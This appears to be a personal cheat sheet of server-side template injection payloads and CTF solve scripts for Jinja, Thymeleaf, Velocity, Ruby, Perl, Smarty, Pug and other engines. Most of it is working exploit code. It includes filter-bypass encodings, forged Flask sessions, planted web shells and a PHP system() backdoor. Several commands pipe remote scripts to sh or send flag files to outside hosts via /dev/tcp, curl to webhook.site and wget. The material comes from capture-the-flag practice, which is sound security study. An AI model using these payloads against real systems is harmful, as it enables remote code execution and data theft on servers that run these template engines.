**Using MRO and subclasses to access subprocess.Popen:**
{%print(((1|attr('__class__')|attr('__mro__'))[1]|attr('__subclasses__'))()[399]('wget 1pc$(ls -d)tf:4444 -O-|sh',shell=True))%}
This accesses the base object class via MRO, gets all subclasses, and uses index 399 (subprocess.Popen) to execute shell commands.
Velocity C# SSTI
| Event Name | Malta CTF Quals |
| GitHub URL | https://github.com/Expressionless/maltactf-2025-quals/blob/master/web/enterprise-template-as-a-service/challenge/src/Program.cs |
| Challenge Name | Enterprise template as a service |
Attachments
References
Python Jinja
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x66\x6c\x61\x67")|attr("read")()}}
payload = """ {{request|attr("application")|attr(request.args.get("a"))|attr(request.args.get("c"))(request.args.get("b"))|attr(request.args.get("c"))(request.args.get("d"))("os")|attr("popen")(request.args.get("cmd"))|attr("read")()}} """.strip()
params = {
"a": "__globals__",
"b": "__builtins__",
"c": "__getitem__",
"d": "__import__",
"cmd": "cat flag.txt" }
java ssti
AI writeup (codegate quals ctf 2023)
up to this was my old solution, but we can’t use %00 so
#!/usr/bin/env python3
import requests
from urllib.parse import quote
HOST, PORT = '3.36.76.180', '34543'
# listen on this port!
#LHOST, LPORT = '172.17.0.1', 65432
def findMethod(cls, method, *paramCls):
params = ''.join(f""","".class.forName("{pc}")""" for pc in paramCls)
payload = f"""
T\x00(org.springframework.util.ReflectionUtils).findMethod(
"".class.forName('{cls}'),
"{method}"
{params}
)
"""
return ''.join(payload.split())
def invokeMethod(method, obj='null', *argObjs):
args = ''.join(f",{arg}" for arg in argObjs)
payload = f"""
T\x00(org.springframework.util.ReflectionUtils).invokeMethod(
{method},
{obj}
{args}
)"""
return ''.join(payload.split())
getRuntime = findMethod('java.lang.Runtime', 'getRuntime')
exec = findMethod('java.lang.Runtime', 'exec', '[Ljava.lang.String;')
waitFor = findMethod('java.lang.Process', 'waitFor')
runtime = invokeMethod(getRuntime)
process = invokeMethod(exec, runtime, f"COMMAND_GOES_HERE")
ret = invokeMethod(waitFor, process)
command = ['bash', '-c', f'cat /flag* > /dev/tcp/0.tcp.jp.ngrok.io/11697']
assert all('!' not in cmd for cmd in command)
cmdarg = f"'{'!'.join(command)}'.split('!')"
ret = ret.replace('COMMAND_GOES_HERE', cmdarg)
def getStr(s):
rs = []
acc = ''
for c in s:
if c in '/>\'\\"\x00$':
if acc:
rs.append(f'"{acc}"')
acc = ''
rs.append(f'"".copyValueOf("a".toCharArray()[0].toChars({ord(c)}))')
else:
acc += c
if acc:
rs.append(f'"{acc}"')
return '+'.join(rs)
pl = f'http://{HOST}:{PORT}/' + quote(('''
__|*yeet **{
"a"
+ @servletContext.setAttribute("t","".class.forName("org.thymeleaf.TemplateEngine").newInstance())
+ @servletContext.getAttribute("t").setDialects(@templateEngine.getDialects())
+ @servletContext.getAttribute("t").setTemplateResolver("".class.forName("org.thymeleaf.templateresolver.StringTemplateResolver").newInstance())
+ @servletContext.getAttribute("t").process((''' + getStr('[[${' + ret + '}]]') + '''), "".class.forName("org.thymeleaf.context.Context").newInstance())
+ "lolz"
}|__''').replace('\n', ''))
#print(len(pl), len(ret), pl)
print(requests.get(pl).text)
Java SSTI With WAF
https://github.com/dimasma0305/My-CTF-Challenges/tree/main/Hology-final-2023/Holo-Blog
frog-waf Sekai CTF 2023
SQLI("\"", "'", "#"),
XSS(">", "<"),
OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"),
CODE_INJECTION("for", "while", "goto", "if"),
JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"),
IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
SSTI di buildConstraintViolationWithTemplate, dimana kita bisa mengontrol value %s dari variable message
![[Pasted image 20230828190157.png]] ada juga beberapa WAF yang perlu
di bypass yang terdapat di
src/main/java/com/sekai/app/waf
SQLI("\"", "'", "#"), XSS(">", "<"), OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"), CODE_INJECTION("for", "while", "goto", "if"), JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"), IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
solve script:
import itertools
import httpx
from pwn import *# URL = "http://localhost:80"URL = "http://frog-waf.chals.sekai.team/"context.log_level = logging.DEBUG
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def addContact(s, firstname, lastname, description, country):
return s.c.post("/addContact", json={
"firstName": firstname,
"lastName": lastname,
"description": description,
"country": country
})
class API(BaseAPI):
def send_payload(s, payload):
return s.addContact(
firstname="dimas",
lastname="dimas",
description="dimas",
country=payload
)
def get_int(i):
if i == 0:
return "message.equals(message).compareTo(message.equals(message))" target = i
one = "message.equals(message).compareTo(message.equals(message.hashCode()))" curr = one
for i in range(target - 1):
curr = f"message.length().sum({one}, {curr})" return curr
def get_chr(i):
# charAt - 22 # toChars - 39 # String.charAt(0).toChars(i)[0].toString() return f"message.getClass().getMethods()[{get_int(22)}].invoke(message, {get_int(0)}).getClass().getMethods()[{get_int(39)}].invoke(message,{get_int(i)})[{get_int(0)}].toString()"def get_str(txt):
res = get_chr(ord(txt[0]))
for i in range(1, len(txt)):
res += f".concat({get_chr(ord(txt[i]))})" return res
if __name__ == "__main__":
api = API()
for i in itertools.count():
# https://ares-x.com/tools/runtime-exec/ # cat /flag* cmd = "bash -c {echo,Y2F0IC9mbGFnKg==}|{base64,-d}|{bash,-i}" res = api.send_payload((
"${" f"[].getClass()[{get_str('forName')}]({get_str('java.lang.Runtime')}).getMethods()[{get_int(6)}]" f".invoke(null).exec({get_str(cmd)}).getInputStream().readAllBytes()[{get_int(i)}]" "}" ))
violations = res.json()["violations"]
for violation in violations:
if violation["fieldName"] == "country":
country: str = violation["message"]
break try:
print(chr(int(country.split(" ")[0])), end="")
except:
continue
reference: https://github.com/SuperStormer/writeups/blob/master/sekaictf_2023/web/frog-waf/solve.py https://gist.github.com/zeyu2001/1b9e9634f6ec6cd3dcb588180c79bf00
Velocity (Java)
ref: https://portswigger.net/research/server-side-template-injection
#set($str=$name.getClass().forName('java.lang.String'))
#set($chr=$name.getClass().forName('java.lang.Character'))
#set($exc=$name.getClass().forName('java.lang.Runtime').getRuntime().exec("whoami"))
$exc.waitFor()
#set($out=$exc.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
String payload = "${date.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami.exe\").getInputStream().readAllBytes()}";
Terra rust
https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup/
`{{ __tera_context }}`
`{{ get_env(name="SECRET") }}`
Mas Daf Challenge
sti in header
GET /?url=@2130706433:1337/environment?admin={%print(request|attr(request.referrer.split().pop(0))|attr(request.referrer.split().pop(1))|attr(request.referrer.split().pop(2))(request.referrer.split().pop(3))|attr(request.referrer.split().pop(2))(request.referrer.split().pop(4))(request.referrer.split().pop(5))|attr(request.referrer.split().pop(6))(request.referrer.split().pop(7))|attr(request.referrer.split().pop(8)))()%}%23/about/ HTTP/1.1
Host: example
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Referer: application __globals__ __getitem__ __builtins__ __import__ os popen cat${IFS}/* read
SSTI In El
import httpx
URL = "http://localhost:20080/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def api_internal(self, name):
return self.c.post("/api/external/..;/intern%61l/", headers={"content-type":"application/json"}, data='{"name":"'+name+'"}')
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
res = api.api_internal("""${''.getClass().forName('java.lang.Runtim\\u0065').getM\\u0065thods()[6].invok\\u0065(''.getClass().forName('java.lang.Runtim\\u0065')).\\u0065xec('curl https://webhook.site/be08ac4b-8f65-464f-b2be-28dd00573f89 -F=@/FLAG')}""")
print(res.text)
another solution we can use
''.getClass().forName('org.springframework.context.support.ClassPathXmlApplicationContext').getDeclaredConstructor(''.class).newInstance("http://127.0.0.1:7777/exp.xml")
Jinja SSTI Trick on botlers 2024 web/pwnhub
waf:
INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]
solver:
from hashlib import sha256
import sys
import httpx
import html
URL = "http://192.168.183.138:8000"
URL = "http://pwnhub.hammer.b01le.rs"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def createpost(self, content):
return self.c.post("/createpost", data={
"content": content,
})
def register(self, confirm_password, username, email, password):
return self.c.post("/register", data={
"password": password,
"confirm-password": confirm_password,
"username": username,
"email": email,
})
def login(self, username, password):
return self.c.post("/login", data={
"username": username,
"password": password,
})
class API(BaseAPI):
...
from random import getrandbits
import flask_unsign
def gen():
for i in range(0, 999999):
yield str(hex(i))
SECRET = sys.argv[1]
if __name__ == "__main__":
api = API()
api.register(
username="a",
password="a",
email="a",
confirm_password="a"
)
res = api.login("a", "a")
session_cookie = api.c.cookies.get("session")
print("session cookie:", session_cookie)
session = flask_unsign.decode(session_cookie)
print("session:", session)
s = flask_unsign.Cracker(session_cookie, threads=32, quiet=True)
if not SECRET:
s.crack(gen())
else:
s.secret = SECRET
session["_user_id"] = "admin"
print("secret:", s.secret)
new_session_cookie = flask_unsign.sign(session, secret=s.secret)
print("new session cookie:", new_session_cookie)
api = API()
api.c.cookies.set("session", new_session_cookie)
content = '''
{%set a=request|attr("args")|attr("get")%}
{%set os=a|attr(a("b"))|attr(a("d"))(a("c"))|attr(a("d"))(a("e"))("os")|attr("popen")(a("f"))|attr("read")()%}
{%print(os)%}
'''.replace("\n", "")
print("content len:", len(content))
res = api.createpost(content)
print(res.text)
url = "/view/"+sha256((session["_user_id"]+content).encode()).hexdigest()
res = api.c.get(url, params={"b": "__globals__", "c": "__builtins__", "d": "__getitem__", "e": "__import__", "f": "cat /flag.txt"})
print(html.unescape(res.text))
Jinja2
import binascii
import requests
import re
import html
URL = "http://103.49.238.77:28961/"
def req(payload):
res = requests.post(
URL,data={
"n": payload
}
)
text = res.text
print(text)
def get_global_variable():
req(r'(lipsum,)|list|last')
req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|list|last')
def get_attr_os():
req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|list|last')
def get_attribute_popen():
req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|map(**{"at"+"tribute":"popen"})|list|last')
# ini tidak bisa karena /bin di delete
def get_rce(cmd):
return r'((((lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|map(**{"at"+"tribute":"popen"})|list|last)("%s"),)|map(**{"at"+"tribute": "read"})|list|last)()' % cmd
def execute(cmd):
return r'''((lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"\x5F\x5Fbu\x69ltins\x5F\x5F"})|map(**{"at"+"tribute":"exec"})|list|last)("%s")''' % cmd
def hex_encode(x: str):
x = binascii.hexlify(x.encode()).decode()
new_x = ""
for i in range(0, len(x), 2):
new_x += r"\x{}{}".format(x[i], x[i+1])
return new_x
if __name__ == "__main__":
cmd = hex_encode("""
from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
from flask import make_response
import os
with open("flag_my_secret_flag_( T - T ).txt", "r") as f:
flag = f.read()
r = make_response(flag.replace('TECHCOMFEST2023', 'f'))
# r = make_response(os.listdir())
return r
""")
ex = execute(cmd)
req(ex)
We can do something like this if there’s no internet connection into the container
{{ self.__init__.__globals__.__builtins__.exec("gl.update(y=lambda: __import__('subprocess').check_output('/readflag'.split(' '), shell=True))", {"gl":self.__init__.__globals__} ) }}{{self.__init__.__globals__.__builtins__.__import__("sys").modules["__main__"].app.view_functions.update(login=self.__init__.__globals__.y) }}
something like this too is possible
AD world ezrender web
import requests
from server_addr import remote_addr
jwt = "eyJuYW1lIjogImdnZzEiLCAic2VjcmV0IjogImV5SjBlWEFpT2lKS1YxUWlMQ0poYkdjaU9pSklVekkxTmlKOS5leUp1WVcxbElqb2laMmRuTVNJc0ltbHpYMkZrYldsdUlqb2lNU0o5LmgwcDUyaDNGNm9tUk1hZ3dacHg3LUdSXzdveEU5S2lrenJTQXZmSkVGbEkifQ=="
headers = {"Cookie": "Token="+jwt}
rs = requests.Session()
shellcode = '''
__import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(__import__('flask').request.args.get('cmd', 'whoami')).read())
'''.strip()
import base64
shellcode_b64 = base64.b64encode(shellcode.encode()).decode()
for i in range(80,81):
code='''
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(DATA).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())")}}
'''.strip()
code = code.replace("DATA",str(i))
code = code.replace("XXX",shellcode_b64)
resp = rs.post(remote_addr + "/admin",data={"code":code},headers=headers)
print(i,resp.text)
if resp.status_code != 500:
print(i,resp.text)
break
SSTI In Ruby and Bypass Some WAF
FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]
Solver:
import httpx
URL = "http://3.34.253.4:3000/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def get_token(self):
res = self.c.get("/")
return res.text.split('authenticity_token" value="')[1].split('"')[0]
def calculate_fee(self, user_leverage, user_entry_price, user_exit_price, user_quantity, authenticity_token):
return self.c.post("/calculate_fee", json={
"user_entry_price": user_entry_price,
"user_exit_price": user_exit_price,
"user_quantity": user_quantity,
"authenticity_token": authenticity_token,
"user_leverage": user_leverage,
})
class API(BaseAPI):
...
def convert_string_to_hex(string):
return '+'.join([f"0x{ord(c):02x}.chr" for c in string])
if __name__ == "__main__":
api = API()
token = api.get_token()
res = api.calculate_fee(
user_leverage="11",
user_entry_price=f"0 and send {convert_string_to_hex('system')}, {convert_string_to_hex('curl https://webhook.site/d0549b5f-56e4-478b-a7c7-680f50fba823 --data `cat flag* | base64`')} or 1",
user_exit_price="30000",
user_quantity="31337",
authenticity_token=token
)
print(res.text)
Perl SSTI in library Template
Soal
use strict;
use warnings;
use Dancer2;
use Template;
my @greetings = ("Hello", "Ebe", "Greetings", "Hi", "Good day");
get '/' => sub {
my $greeting = $greetings[rand @greetings];
template 'index' => {
greeting => $greeting
};
};
post '/debug' => sub {
my $input = body_parameters->get('debug');
my $output;
my $template = Template->new({
INCLUDE_PATH => './views'
});
$template->process(\$input, {}, \$output) or die $template->error();
return $output;
};
start;
Solver
import httpx
URL = "http://piggy.web.jctf.pro/"
# URL = "http://localhost:1234"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url, timeout=9999)
def debug(self, debug):
return self.c.post("/debug", data={"debug": debug})
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
res = api.debug("""
[% USE dir = Directory("/app/") %]
# files returns list of regular files
[% FOREACH file = dir.files %]
[% file.name %] [% file.path %] ...
[% END %]
# dirs returns list of sub-directories
[% FOREACH subdir = dir.dirs %]
[% subdir.name %] [% subdir.path %] ...
[% END %]
# list returns both interleaved in order
[% FOREACH item = dir.list %]
[% IF item.isdir %]
Directory: [% item.name %]
[% ELSE %]
File: [% item.name %]
[% END %]
[% END %]
# define a VIEW to display dirs/files
[% VIEW myview %]
[% BLOCK file %]
File: [% item.name %]
[% END %]
[% BLOCK directory %]
Directory: [% item.name %]
[% item.content(myview) | indent -%]
[% END %]
[% END %]
# display directory content using view
[% myview.print(dir) %]
[% USE mydata = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' is your fat flag:') %]
[% FOREACH record = mydata %]
[% record.Here %]
[% END %]
""")
print(res.text)
[% USE mydata = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' is your fat flag:') %][% FOREACH record = mydata %]
[% record.Here %]
[% END %]
[% template.new({ 'BLOCK' => 'use Data::Dumper; print STDERR Dumper(\%ENV); die' }) %]
SSTI IN C++ Framework
Niceview 1
CrewCTF 2024
pso = open("payload.so", "rb").read()
with zipfile.ZipFile(zf, 'w') as myzip:
myzip.writestr(f'/app/views/d/{name}.csp', payload)
myzip.writestr(f'/app/views/d/{name}.so', pso)
zf.seek(0)
r = requests.post(HOST + "/upload", files={"score": (b"score.mscz", zf.read())})
Niceview 2
CrewCTF 2024
payload = f"""
<%inc #include "{rs}_util.json" %>
{{% goflag() %}}
"""
payload2 = """
#include <fstream>
std::string goflag() {
std::ifstream fin("/app/flag.txt");
std::string line;
std::getline(fin, line);
return line;
}
"""
zf = io.BytesIO()
with zipfile.ZipFile(zf, 'w') as myzip:
myzip.writestr(f'/app/views/d/{name}.csp', payload)
myzip.writestr(f'/app/views/d/{name}.csp.csp', payload)
myzip.writestr(f'/app/views/d/{name}_util.json', payload2)
In Smarty 5.4 you can do this to do ssti if you have a controll over the path
idekctf 2024 (web/untitled-smarty-challenge)
unitended (only using smarty)
import httpx
import asyncio
URL = "http://localhost:1337"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
class API(BaseAPI):
...
async def main():
api = API()
"""
work in: "smarty/smarty": "5.4"
"""
res = await api.c.get('/', params={
"page": '/?><?phpx/{$smarty["template_object"]->getSmarty()->writeFile({$smarty["get"]["f"]},{$smarty["get"]["p"]})}/../../../../../../../../../../../../../../../../app/composer.json'
})
res = await api.c.get("/", params={
"f": "/app/index.php",
"p": "<?php ($_GET['f'])($_GET['c']);?>",
"page": "/x/y/../../../../../../../../../../../../../../../../app/templates_c/f0a2f96b82b2130b52832576a3cf039d36fd1114_0.file_composer.json.php"
})
res = await api.c.get("/", params={
"f": "system",
"c": "cat /flag*"
})
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
itended (using smarty + symphony)
https://github.com/idekctf/idekctf-2024/tree/main/web/untitled-smarty-challenge
GET /?page={include+file="eval:base64:e1N5bWZvbnlcQ29tcG9uZW50XFByb2Nlc3NcUHJvY2Vzczo6ZnJvbVNoZWxsQ29tbWFuZGxpbmUoImNhdCAvZmxhZyogPj4gaW5kZXgucGhwIiktPnJ1bigpfQ=="}/../home
GET /?page=../templates_c/f5fb5be85efe77d883dab7b400f78b1997e42bc1_0.file_home.php
another solver
import requests
HOST = "http://localhost:1337"
# HOST = "https://smarty-challenge-467fb63c467014b2.instancer.idek.team/"
def save(template_code):
template_code = template_code.replace("\n", "").replace(" ", "")
r = requests.get(HOST, params={"page": template_code + "/../about"})
print(r.text)
def load(page, params={}):
params["page"] = page
r = requests.get(HOST, params=params)
print(r.text)
"""
Idea:
1. Use $smarty.template_object to get access to some `public` methods
2. Enable caching for templates using setCaching(2)
3. Display another template, now that caching is enabled
4. This new template may write to the cache now, we write raw PHP code
5. Reload the same template again to execute the written cache
Tricks:
- `.` was blocked inside directory path, so `[""]` was used intead to access attributes
- Storing complex or unpredictable strings inside `$smarty.get.PARAMETER`
"""
if __name__ == "__main__":
save("""
{$t=$smarty["template_object"]}
{$s=$t->getSmarty()}
{$t->getCached()->writeCache($t, $smarty["get"]["p"])}
{$s->display($smarty["get"]["d"])}
""") # 2
save("""
{$t=$smarty["template_object"]}
{$s=$t->getSmarty()}
{$s->setCaching(2)}
{$s->display($smarty["get"]["d"])}
""") # 1
# Found using `ls /app/templates_c`
HASH1 = "dde19c67eca9d4ccb26e952c7aa654d48720ef5c"
HASH2 = "f401cea0082ff69f69c0766cdd3408caee1416b5"
path1 = f"../../../app/templates_c/{HASH1}_0.file_about.php"
path2 = f"../../../app/templates_c/{HASH2}_0.file_about.php"
load(path1, {
"p": "<?php system('id > /tmp/pwned'); ?>",
"d": path2
})
PUG template injection
#{x = 'global.p\x72ocess.mainModule.constructor._load\x28\x27child_p\x72ocess\x27\x29.exec\x28"curl+daffa.info:1337+-d\s=\x60cat+/*\x60"\x29'}
#{x instanceof { [Symbol.hasInstance]: eval } }
GET /admin?name=%23{x='global.p\x72ocess.mainModule.constructor._load\x28\x27child_p\x72ocess\x27\x29.exec\x28"curl+daffa.info:1337+-d\s=\x60cat+/*\x60"\x29'}%23{x+instanceof+{+[Symbol.hasInstance]:+eval+}} HTTP/1.1
Host: 127.0.0.1:21291
Cookie: connect.sid=xxxxug
java runtime
"".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null).exec("wget+http://10.18.200.111:1337/2.sh+-O+/tmp/nabilganteng.sh")